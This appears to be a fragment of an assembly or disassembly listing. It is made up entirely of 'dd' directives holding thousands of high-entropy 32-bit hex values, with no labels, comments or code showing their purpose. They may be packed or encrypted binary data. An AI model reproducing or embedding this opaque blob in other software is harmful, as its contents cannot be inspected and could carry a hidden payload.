dd 0AB2BD7E6h, 2C6B40D1h, 0BF8B1177h, 73FDFC90h, 0C7D824BDh
dd 0A4202D53h, 884C7A75h, 0FFC90583h, 541AEF2h, 0C8A4FBDh
dd 4714FD9Dh, 74073813h, 802FE23h, 0C95FFC5Eh, 0C230295Ah
dd 0E383837Bh, 7FD9D326h, 4AF76D73h, 0CBF4125Ch, 9BC8DBC2h
dd 8A24A6F3h, 0C9078B46h, 7753473Ah, 49803804h, 8BD1F781h
dd 4B5E5BC1h, 0BF404B41h, 8D6AEB08h, 242BEDA4h, 898AA8BEh
dd 11E15B57h, 523B880Fh, 44F6DC54h, 438C1A23h, 0F2798F0Eh
dd 0FE575587h, 7F0A08A6h, 2A0341FDh, 600CCD4Ah, 118A1961h
dd 64970105h, 4C471788h, 2EB0EE63h, 0C649749Ch, 8A0142C5h
dd 0E1E66C11h, 9344B61h, 0C5EC2750h, 0D7661246h, 99E72C7h
dd 9206665h, 0E10247C6h, 12940D5Dh, 8DC10888h, 0F65BFF42h
dd 64E3EEBBh, 14350E5Ah, 42D8410Bh, 0F52CD0FEh, 809BA0A1h
dd 420A8A13h, 0D1EED938h, 0A9C9843Dh, 75021351h, 40D80BEDh
dd 1BC1C32Dh, 125610E3h, 4DBF0AC1h, 6F48FAA2h, 0F07203CBh
dd 0F183F90Ah, 0CF47ABFFh, 0C2A0C6E7h, 0A4E18104h, 53B690ACh
dd 0D328B325h, 8F9FF07h, 8D9EE6E9h, 52C41780h, 8B22408Ah
dd 0D838FC42h, 38367424h, 0DC14EF9Eh, 0E73C54CFh, 10E8C119h
dd 0DC121527h, 0D4430624h, 5C4696EBh, 0FE6875B2h, 0FD110770h
dd 4C4BFC88h, 1C0445E0h, 3C7C75B8h, 0D83A0231h, 889E0A2Eh
dd 12611926h, 8A37E725h, 41C3B11Dh, 2019E302h, 379112Bh
dd 164E25FDh, 0D2F436A6h, 8B88F090h, 0D1E81B90h, 9240E028h
dd 18892F9h, 218D8F3h, 41E98B42h, 28E063CDh, 66A810F6h
dd 468B2DAh, 0CA48D25Ch, 0C14DC944h, 8C7A4296h, 54A77471h
dd 570C846Ch, 0EABBD46Ah, 0F3E050C0h, 0B07F4ABh, 0B3168A5Fh
dd 81CA78A4h, 40CF2327h, 0E3D20385h, 5448D12h, 46186604h
dd 0E575C481h, 85E5F461h, 9EF0EA6h, 0D1E33815h, 516AE235h
dd 5BDEC3FEh, 0E3D35200h, 8A03EEC1h, 0E035124Ch, 77F0984h
dd 42870C2Fh, 0DA8BB3EBh, 1E174465h, 0A56245Bh, 0E0D3584Ah
dd 750ACF26h, 1D801622h, 29DA4FCh, 5EC22B5Fh, 8925A5FDh
dd 0C3235645h, 10E3CB84h, 0E2E78492h, 0A1AC9713h, 0CB0F8793h
dd 89E164Eh, 0F09AAD75h, 666C8BD5h, 0CCB0D6E6h, 2EB25396h
dd 3945C3B6h, 2E4CA6E6h, 0C7908D7Fh, 1F1147B2h, 0A311612h
dd 0CF31750Ch, 0EF83E04Fh, 757EBC7Fh, 97E5037Ah, 4ECB040Ah
dd 8C097517h, 0EB244EF3h, 3F2A531Ch, 3333742Ch, 72174996h
dd 303B4C9Bh, 0D2A6CBAFh, 3FD8470Dh, 3D49054Dh, 0F2CF375h
dd 7A0226EFh, 2BBCB6D8h, 0C81ED051h, 792A96D0h, 472B7866h
dd 14594D44h, 0A0DD233h, 10025788h, 73CA1B68h, 495DA45Ah
dd 47776725h, 19FFE7C1h, 6D107619h, 84769485h, 100BB0FDh
dd 4924D095h, 0CEACD2ACh, 0D1618049h, 3D3BC603h, 47476FEh
dd 78820FF8h, 0A204A801h, 0E3F1AB14h, 8F998A2h, 0F3290072h
dd 9524FFA5h, 415ACE68h, 80BACC82h, 4E9831Dh, 7B0C7572h
dd 0C2C8F8E0h, 0CD808530h, 668D0E0Ch, 11903F78h, 0CE8BFC7Fh
dd 9BC640Bh, 0D12342E0h, 3ADD548Ah, 0AB014612h, 0DB025EA4h
dd 0B42012AFh, 5DC754C6h, 8D8A85CCh, 2E522C49h, 8376D026h
dd 16A622CCh, 32249052h, 85474546h, 40388C1Ah, 4C0FCC5Fh
dd 3C894409h, 2C243412h, 1C912448h, 3A8E4150h, 8F3A89E4h
dd 5DE81164h, 0D2EC4522h, 225DF024h, 24D2F445h, 45225DF8h
dd 48DD0FCh, 59CF72E5h, 0AF82488h, 0F123C553h, 8C092280h
dd 957AA045h, 90F7C252h, 0C1C9E92h, 1286FA8Ch, 0EB6A48Ah
dd 2C300BAAh, 3163748Dh, 0A4397CD0h, 8724809Ch, 0E4FD0D0Ah
dd 82F1FC1Bh, 0D9F710D0h, 0B0296692h, 90A9F0CFh, 2B62F944h
dd 86CF0810h, 1889D0E0h, 9381999h, 48DC1660h, 0E06E3B03h
dd 4FB34EACh, 0FB657A1h, 0EA209868h, 92EE71A4h, 7E32EF06h
dd 522A968Ch, 4BDA2890h, 0EE59AC9Ch, 48AF4252h, 885A2746h
dd 0B4D15C53h, 22BC8053h, 0CC44C409h, 12DC89D4h, 55F724E4h
dd 0E91C2268h, 74181191h, 48171489h, 89741091h, 9148170Ch
dd 4897408h, 983C4917h, 106620ACh, 4409180Dh, 968A3C28h
dd 2AB8828Ch, 2A7A88B6h, 1CF28410h, 0A7B8AD14h, 56624F74h
dd 0BDE6FDBEh, 0AE203512h, 22824A9h, 3EDD649Ch, 4FD3BE59h
dd 6651B00Eh, 7FF03225h, 5F0B3D0Ah, 55751B83h, 5B0F3D3Fh
dd 2D7E71D1h, 537A1D3Ah, 2399A41Ah, 8E535DCDh, 0B6A4188h
dd 7A612DBEh, 56701598h, 7FDC4A53h, 0DC0F6230h, 0E297F805h
dd 432913F3h, 0F272311Fh, 553D50EBh, 3D09D16h, 0DCDD2CDCh
dd 4ABF5FB4h, 0E4400E56h, 0F62240F8h, 687520C3h, 0F93F19EDh
dd 0B4724210h, 0A2B6B30Fh, 233CC11Bh, 40A352B8h, 0A20C894h
dd 0E238DBF8h, 30B8BFC3h, 5C7F425h, 0DFD45034h, 142163D5h
dd 136430A3h, 3B45381Eh
dd 3C190822h, 14647B91h, 29234C40h, 0B54479A3h, 0C400E3F3h
dd 7DD99BF4h, 0B17EE9FEh, 0CC80D4A1h, 0F4970C5Fh, 0DF316DF7h
dd 0C9BF47Dh, 32B726FEh, 4645F855h, 0A22A3864h, 0C44350Ch
dd 0F20C887Fh, 0FDE970D6h, 3AC08A07h, 96649EF0h, 3E3881Dh
dd 8AAA3F2h, 0C74F2354h, 299FC63h, 0DAE0FF08h, 8C238F7h
dd 87595803h, 1C432404h, 0A115707h, 31A16457h, 0F4F88632h
dd 0D2D4078Ch, 96A0741h, 12ADD3F9h, 35F854D0h, 24ADF0C7h
dd 4D67FD78h, 2E8A41D0h, 0A361B84Dh, 73D5D4BFh, 18285D0Dh
dd 0FCA1048Ch, 0C0338EA8h, 8902506Dh, 0C20FF66Ah, 4B61502h
dd 67140D20h, 4A73ACBBh, 9E69B9E5h, 651EC6A9h, 8AADAC75h
dd 235F434h, 0D385F08Ah, 0D9E14005h, 44A19BA1h, 0A808BAECh
dd 31E123FFh, 2E5118A2h, 1D021A20h, 0C88B32B0h, 0F8B9EC68h
dd 351B23C1h, 4DEAA5FCh, 0CDF87073h, 0A3D14908h, 79488411h
dd 0AF593465h, 913BD8F2h, 62D45E7Dh, 9B1827AEh, 0E40C2041h
dd 82E81C40h, 6552AF2Ch, 1AECF04Fh, 0B9B89497h, 309F442Dh
dd 26895FCDh, 0A5F86DCCh, 73D8109Eh, 0CC44B185h, 4B862601h
dd 82B353AAh, 2D0FD48Fh, 0AC3A2150h, 0F78026F5h, 94CBEAA8h
dd 0AB64DFCCh, 0B5BC1748h, 58D85708h, 5CDF09EBh, 0CC51CDA4h
dd 958FF26Bh, 918D6A60h, 0DFE08389h, 3A0FF061h, 2448025Fh
dd 4952AF01h, 230A4D6Dh, 0A414EC02h, 66351006h, 3AF1700h
dd 78632337h, 0B5BB8524h, 0C8316EDDh, 3333ACC2h, 6B0E1C3Bh
dd 18CDFF20h, 0BF72A9Fh, 0D54A2649h, 0F5BAE5A7h, 5F449877h
dd 9789C69Ah, 7C0301D1h, 31FE8339h, 1EA70578h, 0D33852h
dd 0B6048D4Eh, 94834C39h, 55E301Ah, 83A483Bh, 0C1FD07Eh
dd 4D4CF6A4h, 0E6B9AA4h, 24CA6D48h, 144DC500h, 31893546h
dd 172000Ch, 770C473Bh, 0F0290475h, 89364876h, 0E285D2F0h
dd 76F24656h, 68C6279Fh, 8441D513h, 5D2694CAh, 3F2B4942h
dd 9524B0D9h, 2DFF0615h, 0FDE91B8h, 145B0E69h, 2127236h
dd 0C39ED3B8h, 0E0277F6Fh, 68FE6A50h, 6483CB70h, 882DFA0Dh
dd 4D25890Eh, 58084335h, 11196051h, 3E2E74A9h, 7B6D1Ch
dd 76348D28h, 68B30C8Bh, 19E2B489h, 0E97C3048h, 12242004h
dd 0D1016838h, 0FD7AF32Eh, 0FF26C60Ch, 17EB1254h, 0F28F64C3h
dd 66EC4E13h, 4217A1D2h, 81100DC6h, 69045179h, 87517252h
dd 393752FAh, 3E08556Bh, 3D8B689Ch, 453CBB97h, 340AEB76h
dd 4BEF8809h, 45D06DEh, 590C6B81h, 0D0A0C25Bh, 0E4C2B5F0h
dd 52EF504Ch, 0A6BB0C9Bh, 16326CB3h, 0D450098Dh, 91AAE206h
dd 0D850EF09h, 0C287D7B8h, 0DA1BD6D0h, 434C31D7h, 2933E008h
dd 0ED30130Ch, 0B8F850A2h, 0B8E8D742h, 33A4D746h, 0F32AF40h
dd 2494099Ch, 9184488Ch, 4574227Ch, 0AE503C6Ch, 24D7B8C4h
dd 22D0F123h, 0F045DC09h, 0C4AA503Dh, 0C32DD950h, 58106BDCh
dd 0D950C4D8h, 8819684Ch, 0A7B009C8h, 500850B5h, 500875D9h
dd 5C21D5D9h, 0C0F0499h, 22140991h, 2C24441Ch, 47123489h
dd 7650E529h, 606620ACh, 4409680Dh, 798A8C78h, 6A1F5D50h
dd 0A7EC672Fh, 0D3BC0C01h, 141E084Dh, 0B158BA8h, 0D5C6592Dh
dd 2B25F1FAh, 3B3441F2h, 2A735ECCh, 0FC1F523Ah, 8C48B8C0h
dd 0AB01122Eh, 0DE9CA8E2h, 8E2FC354h, 2819D42Bh, 0C10105A3h
dd 0C8D02F9h, 46498988h, 55A166Bh, 1E0583E3h, 50C16C0Ch
dd 0A695B3C9h, 90A59C8h, 8068C348h, 0AEDD98FDh, 5998CAB5h
dd 2356A73Eh, 0D2231818h, 8DA153C9h, 4469E85Ah, 42A2A309h
dd 824EA9D6h, 7D8366C8h, 41081360h, 391099E3h, 4F2FF85Eh
dd 9F7D56D9h, 31898C32h, 0EAE34226h, 0F1093CFCh, 0C9505E5Eh
dd 839E4D5Ch, 0CCEA6F57h, 0D1F70AB8h, 96137A01h, 5D0C48E8h
dd 8919EF24h, 56DC3CD9h, 0A31FDC51h, 14B204F3h, 0AFFF3359h
dd 0F86D6D36h, 748006A8h, 45FC2407h, 0E714EB3Dh, 8F7106Ah
dd 0C4F642FFh, 0E027F04h, 44D71846h, 0EEF1BF77h, 3D10760Ah
dd 0A570912h, 493C72AAh, 0DEB85E0h, 16B1199Fh, 2F32EC14h
dd 84B0C75Fh, 43082444h, 65C80B10h, 2009F80Dh, 0C2E1F7CFh
dd 536F1070h, 1ED88A0Ch, 0AE64323Fh, 0E10A9103h, 0D25BD3E0h
dd 0E55AB937h, 772C9FAh, 0ED105DCCh, 5AD82BDFh, 880BF9CCh
dd 4EE1EF07h, 2AE1810Ch, 4A7492F4h, 1958F329h, 0FBBC3B22h
dd 2858CD2Bh, 793625F9h, 5773A55Ah, 0B2DF2B0Fh, 462539ACh
dd 0DBBAB076h, 4C0B5A82h, 0B8A59F0Eh, 8257B879h, 57C38B0Dh
dd 2BFB6698h, 0AC87FA4Fh, 4A9436Ah, 0B522209Fh, 66089C29h
dd 0D82B0099h, 3E72C73Bh, 61A2EB95h, 0F561CE8h, 2F50C1BEh
dd 0E8436536h, 522E7474h, 4B2AA545h, 7FB4CAA6h, 1E4A49A8h
dd 0C9DB0F55h, 0DA7E5E50h, 0FC62A358h, 0AF2BC7CDh, 0E7D3FE75h
dd 0E94EA2F3h, 74FF92ADh, 0E59BF864h, 0F61DA844h, 0BA023A93h
dd 45824C16h, 0F014910Dh, 0DBEB887Fh, 0CC0F859Dh, 0DE3C013Dh
dd 0B186062h, 0E9A5C663h, 101966C0h, 8AF148D7h, 0D3110CCCh
dd 2F41EB3Eh, 5AFE6AC8h, 0D1148052h, 0E8DBE4E9h, 0D8ECEAh
dd 0F475C90Bh, 0F08BF3F7h, 74CCAE92h, 0FC1435C8h, 0D10306E6h
dd 513B0E72h, 3C64775Ch, 76596107h, 926B4E01h, 0C4445E06h
dd 2B82708Eh, 51286F1Ah, 33EDA96Fh, 1815C20Ch, 226F50EBh
dd 80C4410h, 19C8918Fh, 100B9114h, 8B0C6C4Ch, 76925DC4h
dd 33BC7411h, 7E14241Bh, 0BE058A11h, 835E83DAh, 737D0AA7h
dd 4DC4034Fh, 8465E484h, 0D647D00Ah, 549D4C4Dh, 89373883h
dd 0C5E54A29h, 181C621Ch, 4A1C451Ch, 14897827h, 0BE10230Bh
dd 93541A54h, 0EBD10E45h, 64B8D94Ah, 19F149DBh, 180C1C27h
dd 0C8149185h, 0C44FE410h, 61B329CCh, 16F627A4h, 29C494A1h
dd 0F4DBB109h, 0FC5D02DEh, 0F8D22175h, 1838D002h, 0F68A7F74h
dd 7C610C44h, 5F67A0Bh, 2027E9F4h, 1ACDE088h, 0EBEA1275h
dd 684DAE67h, 0FFD40253h, 9BCC9FBEh, 0D2A64B9Dh, 0F8D7E122h
dd 3B02F068h, 573874FBh, 71BF69E6h, 2A32BF9Fh, 7655575Bh
dd 73F46913h, 4E8B9B2Fh, 2188BB5Ah, 0E901BE0Dh, 0FD664A5Fh
dd 91555E6Ch, 9E6CF682h, 0E4730B7h, 61044A6Ah, 15B5ED4Ch
dd 8B2A9E8Dh, 28A57C12h, 8BC0891h, 0F520C35Ch, 9F76ACADh
dd 0F3A5F8A9h, 1367FDF2h, 3B80D70Bh, 0B4A93274h, 8AA04FE0h
dd 750F3A0Eh, 47465209h, 16EB8D48h, 7D3817F4h, 3D4578D1h
dd 57B9014Eh, 0F53B15E4h, 3B673861h, 0E35D7BE8h, 0BF825B76h
dd 0E61057E0h, 0A774F32Bh, 3909275Ch, 0E757B9FCh, 0F545104Dh
dd 0EF2E4D86h, 20EBEACDh, 0B86E021Dh, 0C01B02B3h, 0FFEB415Fh
dd 0C4FD6AB0h, 0FE4168Bh, 75CA380Ch, 0EE18C8E7h, 0CBE0EEEEh
dd 4389110Eh, 0E2EC2ADAh, 893B06A1h, 0D448CD6Ah, 0A8E0C85Bh
dd 4DE49D38h, 7C1D7527h, 0F41402Dh, 9DD9AA8Ch, 8FE45A12h
dd 0C02E84A1h, 0D08BA120h, 95E2D8B2h, 0E0C3937Fh, 95EDF3Bh
dd 3539257Dh, 707E1811h, 39BD5361h, 400D0A86h, 0C623580Fh
dd 1E285596h, 65EBC31Dh, 62131514h, 0FEF8C114h, 2C8164Dh
dd 80014AD9h, 650C43FEh, 6E028A0Ah, 5D61D888h, 0CFEB5809h
dd 0A4E11E76h, 0C6161814h, 0ABB1C4BFh, 903D082h, 5792C27Eh
dd 0AE2DD12Bh, 61A81D4h, 0D52C98Eh, 8FD0D9Bh, 14C35A5Ah
dd 0CF8DA40Bh, 444A476Dh, 83418D4Ch, 0E3CF0A2Dh, 0EB8F4010h
dd 0F602BF50h, 0F8D1C12Bh, 0D5E89248h, 332E375Ah, 3B013FF6h
dd 840F57D6h, 0DD583022h
dd 1DDE1025h, 392ADA91h, 2975316Bh, 14CA8621h, 30C28A8h
dd 31C266C8h, 323689E8h, 444AA880h, 427140B5h, 0E4121494h
dd 0CED10C45h, 0B63A66F1h, 7E5226A2h, 914AE24h, 0F4A422ACh
dd 0E9499FD6h, 0D8991588h, 8B7A4342h, 2AC731EEh, 0EBC1492Ch
dd 614F8D6Fh, 8B0C31BDh, 70088AC0h, 201C49BAh, 99DCD29Bh
dd 0BA40CD1Bh, 6A175FF5h, 13DE3CA0h, 4CC32B57h, 1BC50BFh
dd 2F750287h, 0ADB9AFEBh, 208A3F0Bh, 561AEB0Eh, 0FA042736h
dd 49155988h, 742E409Bh, 3B954883h, 68403800h, 53287737h
dd 0A5B3CC0h, 9BB69F65h, 0CD27EE5Ah, 10E865C3h, 4C71B06Ch
dd 0D48A1FC9h, 8D04347Dh, 33837C84h, 70437EFFh, 0C11DCF0Dh
dd 0CA030883h, 0BDFC1611h, 0A310E806h, 4EA211F8h, 0D6175D52h
dd 6DB45972h, 191C636Ah, 89E2EED2h, 22868C4h, 15339E2Bh
dd 0ACA39DACh, 291E98F3h, 614492D9h, 8C8C27CDh, 5BD3260Bh
dd 7581A0B1h, 5AEA90D0h, 0A0F7E5A4h, 262C1C56h, 9C0ED57Bh
dd 1D062F6h, 0B7E74174h, 812FD4E9h, 8A580A60h, 0DF9C753Ch
dd 0CDF4DC27h, 21166048h, 34A048CFh, 51CB4D3Fh, 93720D6h
dd 98184D90h, 247D5150h, 2297B1F7h, 98753FC8h, 0FDDED912h
dd 4A4C22AAh, 2DDC8801h, 0B736984Fh, 68D13D12h, 50CBA048h
dd 6143BEE3h, 9959B225h, 0EDA56C26h, 3B4044D1h, 0C3D1603Dh
dd 86830F58h, 0C78B371Ch, 0D50FF793h, 1FE68005h, 24851C8Dh
dd 0BD15D060h, 0A48B031Ch, 4300AC6h, 57690DBDh, 38AAE589h
dd 0E53C892Ah, 111613AFh, 864A17F3h, 5F5110DFh, 3BFC8C80h
dd 0A41C40C5h, 0A82AF92Ch, 4F4AD489h, 0E8A2BCA8h, 0ED15B9FCh
dd 0B2C3711Eh, 60648059h, 74ED3CB4h, 2C9C5509h, 0FC15EB62h
dd 8314046Bh, 0C219E525h, 94F636Ch, 5B5DAC71h, 0CCD33A68h
dd 0F79E1D39h, 76FF1904h, 66D131EEh, 0F70CC881h, 0A776FB6Ah
dd 468C061Ch, 0B4040608h, 70E1C965h, 862A3C09h, 9C245990h
dd 93775233h, 0F62004C2h, 0C4400D46h, 625E3C8h, 0D8F7E730h
dd 9F6AB046h, 5314CDF1h, 2D0C3D3Ch, 20A32BDBh, 8003E1AAh
dd 37E8A0F9h, 8A92866h, 263168F3h, 2B3E0980h, 7E0237D6h
dd 79505726h, 4382C961h, 99920E75h, 24B9ED43h, 279B69FDh
dd 8627AE07h, 0F463FFCBh, 9E4A266h, 0D2517D99h, 8F8C2728h
dd 2757CBCBh, 0FF44DBB7h, 0D040F8C1h, 0A1987E03h, 9D9AC02Ch
dd 12B0042Eh, 48D2389Dh, 0E44099A8h, 6528E730h, 990FC550h
dd 0F0D30918h, 431D7918h, 168217B0h, 9A132961h, 14DA0244h
dd 76757E1Bh, 3B462A0Bh, 0B37C2A4Dh, 74E2CB39h, 0BACE127Dh
dd 8387C038h, 7236E126h, 2D383050h, 2D025A4Dh, 4CD03C48h
dd 0C1030D0Fh, 881A238Ah, 1B40A90Eh, 940146D4h, 2CB8413Eh
dd 57E66A12h, 0D2D8B85Eh, 10A91ABAh, 40EB3EF5h, 868A781Ah
dd 4412111Bh, 725B056Ch, 0D686AAE9h, 0D4206C6Fh, 90682DEDh
dd 8977E60Bh, 6AA1AC52h, 587142B4h, 81D02273h, 82C68DF7h
dd 8B9D3821h, 5F4D806h, 7C613C01h, 0DD80AB08h, 7C202C04h
dd 38410588h, 21ED7519h, 91166A42h, 5E4A0C7Eh, 0D519AFEDh
dd 0EB1A4808h, 64104965h, 4B8BE7EFh, 0A0728DAFh, 0B8DA13A0h
dd 0A0561F0Ch, 4350521Bh, 9365EE5Eh, 3E2F02BFh, 0E832C6Ah
dd 1B7390B9h, 0AFB830FCh, 0CD03C84Eh, 0F039800Eh, 2A880475h
dd 583CEB19h, 5328B5F2h, 86B52D24h, 7B864F92h, 3750A1Dh
dd 0D3011840h, 400EBCD4h, 0FD1ED41Bh, 6497D80h, 83468759h
dd 0BDBE0324h, 3A725170h, 0C9AA9AD5h, 0D9E12F02h, 42BC0C34h
dd 72A32771h, 46745B31h, 8B2AD5E0h, 5BBEA8FEh, 0A6146846h
dd 0CFD62574h, 75C3738Ch, 0E28A6BBEh, 0F93F316h, 0B8C863B9h
dd 8118DDADh, 0A7EB4068h, 6C7D5B5Ch, 75889CB3h, 49359601h
dd 0D8944487h, 13980EB2h, 90A3661Ah, 0A0E9C111h, 1A580DA6h
dd 952E0D88h, 40A19019h, 800C8D1Fh, 8A89CF0h, 0C12D3B88h
dd 453A173h, 81F0502Bh, 4B93E1FAh, 0C0C90172h, 0ADE8EB14h
dd 0C999FCEEh, 13BF1B78h, 0DD41EB71h, 83FE2080h, 2BFC1FC6h
dd 0EFC10779h, 69CFF10Fh, 1BE43BC9h, 18C158Dh, 0BD589A44h
dd 0E8BF004h, 3E1AAF49h, 0D986FF12h, 14FE33E6h, 7353315Ch
dd 43A06BFFh, 0CFC6756h, 0F612FCF8h, 5D3CC260h, 77E750Ch
dd 4A04FAC1h, 763F4083h, 5AE86A03h, 394B8B3Eh, 75088C3Bh
dd 1520204Ch, 0A2BB1E73h, 0CA8B8000h, 4C8DEBD3h, 0F704021Dh
dd 0B85C21C0h, 2A09FE44h, 0F7822875h, 8DF89521h, 21E0554Ah
dd 369C1F1Ch, 4521C4B8h, 59190642h, 2FFC0C04h, 85038C92h
dd 0B6815308h, 0C8EB045Bh, 0C55A89F4h, 5F0C552Eh, 5213F295h
dd 312B2AE3h, 5D6480D1h, 976811EEh, 91B5F428h, 752B0FECh
dd 0FBC125F8h, 89360465h, 5E4BF300h, 0B076DE3Bh, 90B3E952h
dd 8940D12Ch, 0D66E3B39h, 0DA869D25h, 0A1CE6374h, 0BE477114h
dd 83400438h, 0BE1C04FBh, 0EED3CB30h, 21D6F70Ah, 4C81BA74h
dd 26750403h, 5319A48h, 4B8D1FEBh, 1D1F51E0h, 34B8B42Bh
dd 71BA6241h, 9A03972Dh, 4E89C949h, 0FE60C49h, 752465F0h
dd 7C5DCF22h, 3DF41CABh, 0EAEAD2FEh, 6C42B065h, 4204D15Ch
dd 5E9406BDh, 5F52DB65h, 83D9707Ch, 1E843B0Ch, 958A6075h
dd 88514020h, 0C1FE0F4Dh, 731989EBh, 79A88F25h, 60220E82h
dd 1909EDD8h, 44C56E91h, 18DDAE1Fh, 242529D5h, 0A726710h
dd 21325626h, 0E9EA19BAh, 9B94C84h, 0DEA4104Bh, 7644E406h
dd 0F012C430h, 0F1C3EFFFh, 0A12D26F7h, 64F0A67Eh, 0D8B43DCh
dd 2C1D768Ch, 82A46835h, 30FE1C1h, 0A638DEE3h, 20BF4E80h
dd 0FF5153C6h, 4520D652h, 95C0C33h, 0F08502Ah, 0F09D3A86h
dd 88A4347Dh, 215866DAh, 4348FE14h, 9E3D9E0Bh, 0A8E87980h
dd 60830905h, 125EFE04h, 35A07856h, 1C535969h, 0D655C24Fh
dd 101413ACh, 0A416CDB5h, 0B98B67F6h, 8004F498h, 0F8E0C12Fh
dd 2B2989AEh, 114C60DEh, 3A5175ECh, 0D1581448h, 665DC689h
dd 0DFF282Bh, 53B2830h, 1370BD23h, 14086D16h, 53CD2F34h
dd 3D89458Ah, 1ED44FA5h, 442DBA5Bh, 314C640Bh, 4257CD67h
dd 235C823Ch, 1617BE6Ch, 41F0E183h, 4F9C123h, 20A0EB49h
dd 70BD0E7Dh, 970B90DEh, 6640406Ah, 0ECA2EBF4h, 0C8769109h
dd 0E8D3F686h, 0FE85B51Fh, 0D86842A1h, 9860DF3Bh, 19597308h
dd 23F67C23h, 0FEC358DCh, 9875CF0Bh, 9514C383h, 33C668F8h
dd 0F11E772h, 0DA8B7975h, 1127D8EAh, 2305B215h, 3479E6EBh
dd 734B5962h, 0EF42FD11h, 2962404Bh, 84EDEB55h, 0D282638h
dd 30241CAAh, 230E49EEh, 1174DD06h, 78DB85F8h, 1443145Eh
dd 3F5925DEh, 0EAF810B8h, 38A9A043h, 0E83097FFh, 89296FDDh
dd 2AB7A61Dh, 0A0FA2E3Ch, 0DFFC55C8h, 908C495Ch, 7CBBB413h
dd 899444BAh, 13A4377Dh, 55247064h, 0E84FDE10h, 0A9488F37h
dd 18038D0Bh, 91D417F9h, 48D69784h, 5443B4Dh, 0FEC00Fh
dd 74D70B39h, 9AA4F1E9h, 0FF330B98h, 49B061BEh, 0CEB14C61h
dd 674C0D75h, 0CB20606Ah, 7CC9855Fh, 0E1D10501h, 8BF7EB47h
dd 0F954438Ch, 2B590A88h, 5EF1341Fh, 0E9FEC6C3h, 3FD0834Eh
dd 98E7B27Eh, 99F74CC8h, 2C010D11h, 0C039224Ah, 0FF832461h
dd 622B1685h, 0FC4CF01h, 3822059Fh, 0F40053D4h, 885C23ECh
dd 982EF44h, 38750FFEh, 4DDE20D7h, 5C0B21ECh, 4F2CCAEBh
dd 2C287215h, 6B9F2496h, 54198626h, 43996FD4h, 3386512Dh
dd 6D26CB2h, 0B47BF77Ah
dd 7977893Fh, 81AEDD9h, 0ECCE12B9h, 85AAD0D7h, 0C094F17Ch
dd 9E46A61Bh, 0A351EC52h, 0AE0C7922h, 0C064589Eh, 0FE440620h
dd 297D2C0Bh, 3B9726C2h, 25B2F7F0h, 0B198BFC6h, 0EF15D3CEh
dd 0D10B3B09h, 7C507E90h, 2F52EBAFh, 8D0DC129h, 2156E04Eh
dd 457B4A55h, 36BC8D17h, 86B12EAEh, 27370943h, 5748F82Ch
dd 60E50A89h, 3494FC01h, 753BF3BFh, 46D1B2F0h, 32138201h
dd 9BA04BFCh, 8D44190Eh, 0EC3E2079h, 1D4C3B1Ah, 121B9EEDh
dd 0A28DDD99h, 70290721h, 8892598h, 4428D16h, 3D80934h
dd 3F88450Dh, 0C10B7CA2h, 5D823075h, 70CA5089h, 9C11AD76h
dd 3F71572Dh, 0E48A77EBh, 9B1A2589h, 3E21C951h, 68120BA0h
dd 0E15A41C4h, 134662B0h, 8134C931h, 68D8F42Ch, 104B4689h
dd 68043081h, 517220C1h, 15A9766Ch, 1A706429h, 0F2750C09h
dd 0FA575908h, 305FA1A5h, 22B84E7Dh, 7E91C683h, 5605D904h
dd 836B8463h, 9DB95722h, 8FE12C51h, 8771E957h, 339241C9h
dd 48C3E2DBh, 8943E050h, 693830C3h, 2E8232FBh, 3013F95Ah
dd 0F7918335h, 6A80840h, 49C0769Ch, 0FB281F4Ah, 0E7C12E86h
dd 0C7907DDh, 22100468h, 0E98C0880h, 0ED5967Dh, 978D1BDFh
dd 3B32700Ch, 3C77FA1Eh, 48F04799h, 88D0F361h, 0BD4BBDECh
dd 0FFC76F7h, 2240C73Bh, 5B43ABF0h, 7868B81Eh, 0C7044806h
dd 8123E880h, 57440515h, 0DCB92DC7h, 8BC70DDCh, 0C8420F8h
dd 64F80525h, 4F5F6EB8h, 8D0DAD74h, 0DA120C4Ah, 64069008h
dd 7586449Eh, 7E491BCh, 3443468Ah, 840CC1C8h, 887B74C0h
dd 75024E7Ch, 4780903h, 19A5BBAh, 21D2F7EAh, 0C3663050h
dd 0CC5B5B9h, 1052FD59h, 0C0D4373Eh, 17708DD7h, 22512B27h
dd 0E0E683EAh, 0B00FEAACh, 58839985h, 492CFC4Fh, 2CA85D3Bh
dd 0C4395C2Dh, 0F46AF756h, 3BC75F4Ah, 265FC3F6h, 0F134F85h
dd 0F33BD903h, 0E9458F47h, 0F1CC1B9Ah, 128E3F59h, 4F0C0676h
dd 4C8B1159h, 8173E45Fh, 202C8548h, 548B1F73h, 4C8DF804h
dd 21F2E201h, 892B1190h, 3E184224h, 909C2722h, 4F76F53Ch
dd 989A7CAh, 0C47F0632h, 1030C165h, 0AF01CE2Bh, 7D16AF8h
dd 1B08AA9Ch, 2A03148Bh, 4FFC10Ch, 318A374Fh, 0FBC48930h
dd 0FEF45F40h, 2FB411Ch, 40AD5BCCh, 800CB512h, 0DE1846C6h
dd 3B62620Ch, 0C15C751Eh, 0FF02078Ch, 4CE51324h, 1E2104F2h
dd 74CF64E1h, 0B915E684h, 0EBCF8266h, 1021A525h, 48B733C4h
dd 6DBA848Ah, 0D24F2D2Eh, 0C5548C1h, 44169D62h, 0B435332h
dd 87130174h, 4679247Fh, 22D942FCh, 3F34F82Ah, 270E4AE2h
dd 0F437F6Eh, 43ED3A8Dh, 290C5DC9h, 31A4B54Dh, 335C6E4Bh
dd 0D0F6A565h, 33E9B152h, 31BD8323h, 31F65ED8h, 1A8B572Bh
dd 0A97547F8h, 198A054Ch, 823B22A4h, 89D7752Eh, 116CE512h
dd 67412CEh, 0B40E7A28h, 0E4E596Ch, 76770624h, 887AEED4h
dd 0DE711077h, 0D04F360h, 0E7E6038Fh, 0D6760C43h, 817BEE38h
dd 0ED7B064Bh, 0D3E67125h, 2D5C17FBh, 9AAE38EEh, 0C6628918h
dd 0EAE3B1AEh, 38391240h, 4284CE62h, 0B4E6580Fh, 16792209h
dd 0D74E4362h, 9003F0F0h, 0FC18274Ch, 8355B077h, 82704B3Dh
dd 0B5CFF31h, 0BE0CC3ACh, 1CEB1960h, 6F20681Dh, 0DA9D5B3Eh
dd 840F1211h, 2D73220Ch, 70B1D1C4h, 2A0B40C5h, 47487ED5h
dd 0AACF7D84h, 50D62934h, 57530331h, 3A434A7h, 5CB84AAFh
dd 75F03B03h, 0AE4411Eh, 0A328632Ch, 641CC808h, 8EA1C67h
dd 8915EB01h, 944A106h, 507AC2A8h, 888B0935h, 87518D30h
dd 988ED868h, 143491D9h, 1647DCFEh, 7EEB0A4Eh, 0A15C3ECBh
